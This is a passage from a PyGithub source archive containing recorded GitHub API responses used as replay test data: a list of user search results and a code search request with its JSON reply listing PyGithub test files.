//api.github.com/users/AndrewRadev/received_events","type":"User","site_admin":false,"score":1.0},{"login":"knutin","id":364484,"avatar_url":"https://avatars.githubusercontent.com/u/364484","gravatar_id":"ca58f2819d0f9964efdfeaa0b6c9ebaf","url":"https://api.github.com/users/knutin","html_url":"https://github.com/knutin","followers_url":"https://api.github.com/users/knutin/followers","following_url":"https://api.github.com/users/knutin/following{/other_user}","gists_url":"https://api.github.com/users/knutin/gists{/gist_id}","starred_url":"https://api.github.com/users/knutin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/knutin/subscriptions","organizations_url":"https://api.github.com/users/knutin/orgs","repos_url":"https://api.github.com/users/knutin/repos","events_url":"https://api.github.com/users/knutin/events{/privacy}","received_events_url":"https://api.github.com/users/knutin/received_events","type":"User","site_admin":false,"score":1.0},{"login":"kkaefer","id":52399,"avatar_url":"https://avatars.githubusercontent.com/u/52399","gravatar_id":"d3586b91137e12d1f521d07f118a187e","url":"https://api.github.com/users/kkaefer","html_url":"https://github.com/kkaefer","followers_url":"https://api.github.com/users/kkaefer/followers","following_url":"https://api.github.com/users/kkaefer/following{/other_user}","gists_url":"https://api.github.com/users/kkaefer/gists{/gist_id}","starred_url":"https://api.github.com/users/kkaefer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kkaefer/subscriptions","organizations_url":"https://api.github.com/users/kkaefer/orgs","repos_url":"https://api.github.com/users/kkaefer/repos","events_url":"https://api.github.com/users/kkaefer/events{/privacy}","received_events_url":"https://api.github.com/users/kkaefer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"carhartl","id":21918,"avatar_url":"https://avatars.githubusercontent.com/u/21918","gravatar_id":"ae8c6ae27f6b9d5707bc5a32d0fb21a6","url":"https://api.github.com/users/carhartl","html_url":"https://github.com/carhartl","followers_url":"https://api.github.com/users/carhartl/followers","following_url":"https://api.github.com/users/carhartl/following{/other_user}","gists_url":"https://api.github.com/users/carhartl/gists{/gist_id}","starred_url":"https://api.github.com/users/carhartl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/carhartl/subscriptions","organizations_url":"https://api.github.com/users/carhartl/orgs","repos_url":"https://api.github.com/users/carhartl/repos","events_url":"https://api.github.com/users/carhartl/events{/privacy}","received_events_url":"https://api.github.com/users/carhartl/received_events","type":"User","site_admin":false,"score":1.0},{"login":"chriseidhof","id":5382,"avatar_url":"https://avatars.githubusercontent.com/u/5382","gravatar_id":"ade0c334ecff1448bb96f5f733bf1f83","url":"https://api.github.com/users/chriseidhof","html_url":"https://github.com/chriseidhof","followers_url":"https://api.github.com/users/chriseidhof/followers","following_url":"https://api.github.com/users/chriseidhof/following{/other_user}","gists_url":"https://api.github.com/users/chriseidhof/gists{/gist_id}","starred_url":"https://api.github.com/users/chriseidhof/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chriseidhof/subscriptions","organizations_url":"https://api.github.com/users/chriseidhof/orgs","repos_url":"https://api.github.com/users/chriseidhof/repos","events_url":"https://api.github.com/users/chriseidhof/events{/privacy}","received_events_url":"https://api.github.com/users/chriseidhof/received_events","type":"User","site_admin":false,"score":1.0},{"login":"deanm","id":56582,"avatar_url":"https://avatars.githubusercontent.com/u/56582","gravatar_id":"8013da4cb41399860f264aa8dbd28912","url":"https://api.github.com/users/deanm","html_url":"https://github.com/deanm","followers_url":"https://api.github.com/users/deanm/followers","following_url":"https://api.github.com/users/deanm/following{/other_user}","gists_url":"https://api.github.com/users/deanm/gists{/gist_id}","starred_url":"https://api.github.com/users/deanm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/deanm/subscriptions","organizations_url":"https://api.github.com/users/deanm/orgs","repos_url":"https://api.github.com/users/deanm/repos","events_url":"https://api.github.com/users/deanm/events{/privacy}","received_events_url":"https://api.github.com/users/deanm/received_events","type":"User","site_admin":false,"score":1.0},{"login":"plu","id":31597,"avatar_url":"https://avatars.githubusercontent.com/u/31597","gravatar_id":"cacc359ee20d3423087f957241cffd2b","url":"https://api.github.com/users/plu","html_url":"https://github.com/plu","followers_url":"https://api.github.com/users/plu/followers","following_url":"https://api.github.com/users/plu/following{/other_user}","gists_url":"https://api.github.com/users/plu/gists{/gist_id}","starred_url":"https://api.github.com/users/plu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/plu/subscriptions","organizations_url":"https://api.github.com/users/plu/orgs","repos_url":"https://api.github.com/users/plu/repos","events_url":"https://api.github.com/users/plu/events{/privacy}","received_events_url":"https://api.github.com/users/plu/received_events","type":"User","site_admin":false,"score":1.0},{"login":"netroy","id":196144,"avatar_url":"https://avatars.githubusercontent.com/u/196144","gravatar_id":"9a86cafc047f2c2766660e61eeb9be80","url":"https://api.github.com/users/netroy","html_url":"https://github.com/netroy","followers_url":"https://api.github.com/users/netroy/followers","following_url":"https://api.github.com/users/netroy/following{/other_user}","gists_url":"https://api.github.com/users/netroy/gists{/gist_id}","starred_url":"https://api.github.com/users/netroy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/netroy/subscriptions","organizations_url":"https://api.github.com/users/netroy/orgs","repos_url":"https://api.github.com/users/netroy/repos","events_url":"https://api.github.com/users/netroy/events{/privacy}","received_events_url":"https://api.github.com/users/netroy/received_events","type":"User","site_admin":false,"score":1.0},{"login":"343max","id":33906,"avatar_url":"https://avatars.githubusercontent.com/u/33906","gravatar_id":"deea421f48d4fe384e65f52bf33005bc","url":"https://api.github.com/users/343max","html_url":"https://github.com/343max","followers_url":"https://api.github.com/users/343max/followers","following_url":"https://api.github.com/users/343max/following{/other_user}","gists_url":"https://api.github.com/users/343max/gists{/gist_id}","starred_url":"https://api.github.com/users/343max/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/343max/subscriptions","organizations_url":"https://api.github.com/users/343max/orgs","repos_url":"https://api.github.com/users/343max/repos","events_url":"https://api.github.com/users/343max/events{/privacy}","received_events_url":"https://api.github.com/users/343max/received_events","type":"User","site_admin":false,"score":1.0},{"login":"janlelis","id":111510,"avatar_url":"https://avatars.githubusercontent.com/u/111510","gravatar_id":"901b686e3824cd357b169ac7ce431b1b","url":"https://api.github.com/users/janlelis","html_url":"https://github.com/janlelis","followers_url":"https://api.github.com/users/janlelis/followers","following_url":"https://api.github.com/users/janlelis/following{/other_user}","gists_url":"https://api.github.com/users/janlelis/gists{/gist_id}","starred_url":"https://api.github.com/users/janlelis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/janlelis/subscriptions","organizations_url":"https://api.github.com/users/janlelis/orgs","repos_url":"https://api.github.com/users/janlelis/repos","events_url":"https://api.github.com/users/janlelis/events{/privacy}","received_events_url":"https://api.github.com/users/janlelis/received_events","type":"User","site_admin":false,"score":1.0},{"login":"lstoll","id":694,"avatar_url":"https://avatars.githubusercontent.com/u/694","gravatar_id":"016e1583dcc7cb2b435b7607c1bce58f","url":"https://api.github.com/users/lstoll","html_url":"https://github.com/lstoll","followers_url":"https://api.github.com/users/lstoll/followers","following_url":"https://api.github.com/users/lstoll/following{/other_user}","gists_url":"https://api.github.com/users/lstoll/gists{/gist_id}","starred_url":"https://api.github.com/users/lstoll/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lstoll/subscriptions","organizations_url":"https://api.github.com/users/lstoll/orgs","repos_url":"https://api.github.com/users/lstoll/repos","events_url":"https://api.github.com/users/lstoll/events{/privacy}","received_events_url":"https://api.github.com/users/lstoll/received_events","type":"User","site_admin":true,"score":1.0},{"login":"panique","id":156321,"avatar_url":"https://avatars.githubusercontent.com/u/156321","gravatar_id":"ba916cb1c1327b700cf2f753684c2b4f","url":"https://api.github.com/users/panique","html_url":"https://github.com/panique","followers_url":"https://api.github.com/users/panique/followers","following_url":"https://api.github.com/users/panique/following{/other_user}","gists_url":"https://api.github.com/users/panique/gists{/gist_id}","starred_url":"https://api.github.com/users/panique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/panique/subscriptions","organizations_url":"https://api.github.com/users/panique/orgs","repos_url":"https://api.github.com/users/panique/repos","events_url":"https://api.github.com/users/panique/events{/privacy}","received_events_url":"https://api.github.com/users/panique/received_events","type":"User","site_admin":false,"score":1.0},{"login":"ddfreyne","id":6269,"avatar_url":"https://avatars.githubusercontent.com/u/6269","gravatar_id":"be732ee41fd3038aa98a0a7e7b7be081","url":"https://api.github.com/users/ddfreyne","html_url":"https://github.com/ddfreyne","followers_url":"https://api.github.com/users/ddfreyne/followers","following_url":"https://api.github.com/users/ddfreyne/following{/other_user}","gists_url":"https://api.github.com/users/ddfreyne/gists{/gist_id}","starred_url":"https://api.github.com/users/ddfreyne/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ddfreyne/subscriptions","organizations_url":"https://api.github.com/users/ddfreyne/orgs","repos_url":"https://api.github.com/users/ddfreyne/repos","events_url":"https://api.github.com/users/ddfreyne/events{/privacy}","received_events_url":"https://api.github.com/users/ddfreyne/received_events","type":"User","site_admin":false,"score":1.0},{"login":"marinho","id":4506,"avatar_url":"https://avatars.githubusercontent.com/u/4506","gravatar_id":"ba8d6cfcd9997a75b2ce7afc7bf79444","url":"https://api.github.com/users/marinho","html_url":"https://github.com/marinho","followers_url":"https://api.github.com/users/marinho/followers","following_url":"https://api.github.com/users/marinho/following{/other_user}","gists_url":"https://api.github.com/users/marinho/gists{/gist_id}","starred_url":"https://api.github.com/users/marinho/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/marinho/subscriptions","organizations_url":"https://api.github.com/users/marinho/orgs","repos_url":"https://api.github.com/users/marinho/repos","events_url":"https://api.github.com/users/marinho/events{/privacy}","received_events_url":"https://api.github.com/users/marinho/received_events","type":"User","site_admin":false,"score":1.0},{"login":"infusion","id":197742,"avatar_url":"https://avatars.githubusercontent.com/u/197742","gravatar_id":"7c6a030ccf1fddcec6ea428d6171a79d","url":"https://api.github.com/users/infusion","html_url":"https://github.com/infusion","followers_url":"https://api.github.com/users/infusion/followers","following_url":"https://api.github.com/users/infusion/following{/other_user}","gists_url":"https://api.github.com/users/infusion/gists{/gist_id}","starred_url":"https://api.github.com/users/infusion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/infusion/subscriptions","organizations_url":"https://api.github.com/users/infusion/orgs","repos_url":"https://api.github.com/users/infusion/repos","events_url":"https://api.github.com/users/infusion/events{/privacy}","received_events_url":"https://api.github.com/users/infusion/received_events","type":"User","site_admin":false,"score":1.0},{"login":"keyboardsurfer","id":336005,"avatar_url":"https://avatars.githubusercontent.com/u/336005","gravatar_id":"d2a06312762581d504ba0a25e5a90def","url":"https://api.github.com/users/keyboardsurfer","html_url":"https://github.com/keyboardsurfer","followers_url":"https://api.github.com/users/keyboardsurfer/followers","following_url":"https://api.github.com/users/keyboardsurfer/following{/other_user}","gists_url":"https://api.github.com/users/keyboardsurfer/gists{/gist_id}","starred_url":"https://api.github.com/users/keyboardsurfer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/keyboardsurfer/subscriptions","organizations_url":"https://api.github.com/users/keyboardsurfer/orgs","repos_url":"https://api.github.com/users/keyboardsurfer/repos","events_url":"https://api.github.com/users/keyboardsurfer/events{/privacy}","received_events_url":"https://api.github.com/users/keyboardsurfer/received_events","type":"User","site_admin":false,"score":1.0},{"login":"tcurdt","id":13697,"avatar_url":"https://avatars.githubusercontent.com/u/13697","gravatar_id":"cdf5f524330ccabaeda576749a34a30b","url":"https://api.github.com/users/tcurdt","html_url":"https://github.com/tcurdt","followers_url":"https://api.github.com/users/tcurdt/followers","following_url":"https://api.github.com/users/tcurdt/following{/other_user}","gists_url":"https://api.github.com/users/tcurdt/gists{/gist_id}","starred_url":"https://api.github.com/users/tcurdt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tcurdt/subscriptions","organizations_url":"https://api.github.com/users/tcurdt/orgs","repos_url":"https://api.github.com/users/tcurdt/repos","events_url":"https://api.github.com/users/tcurdt/events{/privacy}","received_events_url":"https://api.github.com/users/tcurdt/received_events","type":"User","site_admin":false,"score":1.0},{"login":"theophani","id":364246,"avatar_url":"https://avatars.githubusercontent.com/u/364246","gravatar_id":"7b1746f5ae99453e6a67f022ec0d73bd","url":"https://api.github.com/users/theophani","html_url":"https://github.com/theophani","followers_url":"https://api.github.com/users/theophani/followers","following_url":"https://api.github.com/users/theophani/following{/other_user}","gists_url":"https://api.github.com/users/theophani/gists{/gist_id}","starred_url":"https://api.github.com/users/theophani/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/theophani/subscriptions","organizations_url":"https://api.github.com/users/theophani/orgs","repos_url":"https://api.github.com/users/theophani/repos","events_url":"https://api.github.com/users/theophani/events{/privacy}","received_events_url":"https://api.github.com/users/theophani/received_events","type":"User","site_admin":false,"score":1.0},{"login":"till","id":27003,"avatar_url":"https://avatars.githubusercontent.com/u/27003","gravatar_id":"b33d0462e6324cce17b09a83f349aaac","url":"https://api.github.com/users/till","html_url":"https://github.com/till","followers_url":"https://api.github.com/users/till/followers","following_url":"https://api.github.com/users/till/following{/other_user}","gists_url":"https://api.github.com/users/till/gists{/gist_id}","starred_url":"https://api.github.com/users/till/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/till/subscriptions","organizations_url":"https://api.github.com/users/till/orgs","repos_url":"https://api.github.com/users/till/repos","events_url":"https://api.github.com/users/till/events{/privacy}","received_events_url":"https://api.github.com/users/till/received_events","type":"User","site_admin":false,"score":1.0},{"login":"cebe","id":189796,"avatar_url":"https://avatars.githubusercontent.com/u/189796","gravatar_id":"2ebfe57beabd0b9f8eb9ded1237a275d","url":"https://api.github.com/users/cebe","html_url":"https://github.com/cebe","followers_url":"https://api.github.com/users/cebe/followers","following_url":"https://api.github.com/users/cebe/following{/other_user}","gists_url":"https://api.github.com/users/cebe/gists{/gist_id}","starred_url":"https://api.github.com/users/cebe/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cebe/subscriptions","organizations_url":"https://api.github.com/users/cebe/orgs","repos_url":"https://api.github.com/users/cebe/repos","events_url":"https://api.github.com/users/cebe/events{/privacy}","received_events_url":"https://api.github.com/users/cebe/received_events","type":"User","site_admin":false,"score":1.0},{"login":"amery","id":131371,"avatar_url":"https://avatars.githubusercontent.com/u/131371","gravatar_id":"ddf8b09b2681ad4abe831b5e3c05cff0","url":"https://api.github.com/users/amery","html_url":"https://github.com/amery","followers_url":"https://api.github.com/users/amery/followers","following_url":"https://api.github.com/users/amery/following{/other_user}","gists_url":"https://api.github.com/users/amery/gists{/gist_id}","starred_url":"https://api.github.com/users/amery/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/amery/subscriptions","organizations_url":"https://api.github.com/users/amery/orgs","repos_url":"https://api.github.com/users/amery/repos","events_url":"https://api.github.com/users/amery/events{/privacy}","received_events_url":"https://api.github.com/users/amery/received_events","type":"User","site_admin":false,"score":1.0},{"login":"myabc","id":755,"avatar_url":"https://avatars.githubusercontent.com/u/755","gravatar_id":"9b1a71682de14fc6fc2b944a9c4814a0","url":"https://api.github.com/users/myabc","html_url":"https://github.com/myabc","followers_url":"https://api.github.com/users/myabc/followers","following_url":"https://api.github.com/users/myabc/following{/other_user}","gists_url":"https://api.github.com/users/myabc/gists{/gist_id}","starred_url":"https://api.github.com/users/myabc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/myabc/subscriptions","organizations_url":"https://api.github.com/users/myabc/orgs","repos_url":"https://api.github.com/users/myabc/repos","events_url":"https://api.github.com/users/myabc/events{/privacy}","received_events_url":"https://api.github.com/users/myabc/received_events","type":"User","site_admin":false,"score":1.0},{"login":"telekommunisten","id":420921,"avatar_url":"https://avatars.githubusercontent.com/u/420921","gravatar_id":"307848b658ef6b70e72b416ce40699ae","url":"https://api.github.com/users/telekommunisten","html_url":"https://github.com/telekommunisten","followers_url":"https://api.github.com/users/telekommunisten/followers","following_url":"https://api.github.com/users/telekommunisten/following{/other_user}","gists_url":"https://api.github.com/users/telekommunisten/gists{/gist_id}","starred_url":"https://api.github.com/users/telekommunisten/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/telekommunisten/subscriptions","organizations_url":"https://api.github.com/users/telekommunisten/orgs","repos_url":"https://api.github.com/users/telekommunisten/repos","events_url":"https://api.github.com/users/telekommunisten/events{/privacy}","received_events_url":"https://api.github.com/users/telekommunisten/received_events","type":"User","site_admin":false,"score":1.0},{"login":"kilaulena","id":25003,"avatar_url":"https://avatars.githubusercontent.com/u/25003","gravatar_id":"7712d746190ebd449f9c4bc042f44c21","url":"https://api.github.com/users/kilaulena","html_url":"https://github.com/kilaulena","followers_url":"https://api.github.com/users/kilaulena/followers","following_url":"https://api.github.com/users/kilaulena/following{/other_user}","gists_url":"https://api.github.com/users/kilaulena/gists{/gist_id}","starred_url":"https://api.github.com/users/kilaulena/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kilaulena/subscriptions","organizations_url":"https://api.github.com/users/kilaulena/orgs","repos_url":"https://api.github.com/users/kilaulena/repos","events_url":"https://api.github.com/users/kilaulena/events{/privacy}","received_events_url":"https://api.github.com/users/kilaulena/received_events","type":"User","site_admin":false,"score":1.0}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testSearchCode.txt0000644000175100001660000022546314756101563023037 0ustar00runnerdockerhttps GET api.github.com None /search/code?sort=indexed&q=toto+user%3Ajacquev6&order=asc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:5372:9C29CCF:53140AF6'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '64108'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:54:14 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393822514')] {"total_count":14,"items":[{"name":"Commit.setUp.txt","path":"github/tests/ReplayData/Commit.setUp.txt","sha":"eb063311ef37a1444a98c9f98acfed2b4caaa738","url":"https://api.github.com/repositories/3544490/contents/github/tests/ReplayData/Commit.setUp.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git_url":"https://api.github.com/repositories/3544490/git/blobs/eb063311ef37a1444a98c9f98acfed2b4caaa738","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/Commit.setUp.txt","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.31651077},{"name":"PullRequest.testGetFiles.txt","path":"github/tests/ReplayData/PullRequest.testGetFiles.txt","sha":"97a6a8d14dc4eaebabe88601278692d043ebf4b3","url":"https://api.github.com/repositories/3544490/contents/github/tests/ReplayData/PullRequest.testGetFiles.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git_url":"https://api.github.com/repositories/3544490/git/blobs/97a6a8d14dc4eaebabe88601278692d043ebf4b3","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/PullRequest.testGetFiles.txt","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}"},"score":0.3538698},{"name":"NamedUser.testGetEvents.txt","path":"github/tests/ReplayData/NamedUser.testGetEvents.txt","sha":"610e6982d26448feda25e48e6530e9dc5fba0552","url":"https://api.github.com/repositories/3544490/contents/github/tests/ReplayData/NamedUser.testGetEvents.txt?ref=72f8876112ba029111c739871e3e4d7bce66b95d","git_url":"https://api.github.com/repositories/3544490/git/blobs/610e6982d26448feda25e48e6530e9dc5fba0552","html_url":"https://github.com/jacquev6/PyGithub/blob/72f8876112ba029111c739871e3e4d7bce66b95d/github/tests/ReplayData/NamedUser.testGetEvents.txt","repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jac